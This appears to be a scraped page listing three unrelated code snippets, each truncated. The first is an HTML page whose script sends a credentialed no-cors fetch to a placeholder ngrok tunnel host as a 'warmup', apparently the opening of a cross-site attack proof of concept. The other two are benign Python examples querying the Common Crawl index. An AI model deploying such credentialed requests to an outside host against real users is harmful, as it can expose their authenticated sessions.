This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<body></body> | |
<script> | |
(async () => { | |
const target = "https://XXX.ngrok-free.app"; | |
// Warmup | |
await fetch(target, { | |
mode: "no-cors", | |
credentials: "include", | |
}); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import gzip | |
import json | |
import requests | |
try: | |
from cStringIO import StringIO | |
except: | |
from StringIO import StringIO | |
# Let's fetch the Common Crawl FAQ using the CC index | |
resp = requests.get('http://index.commoncrawl.org/CC-MAIN-2015-27-index?url=http%3A%2F%2Fcommoncrawl.org%2Ffaqs%2F&output=json') |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
show_pages = 'http://index.commoncrawl.org/CC-MAIN-2015-18-index?url={query}&output=json&showNumPages=true' | |
get_page = 'http://index.commoncrawl.org/CC-MAIN-2015-18-index?url={query}&output=json&page={page}' | |
query = 'nytimes.com/*' | |
show = requests.get(show_pages.format(query=query)) | |
pages = show.json()['pages'] | |
results = set() |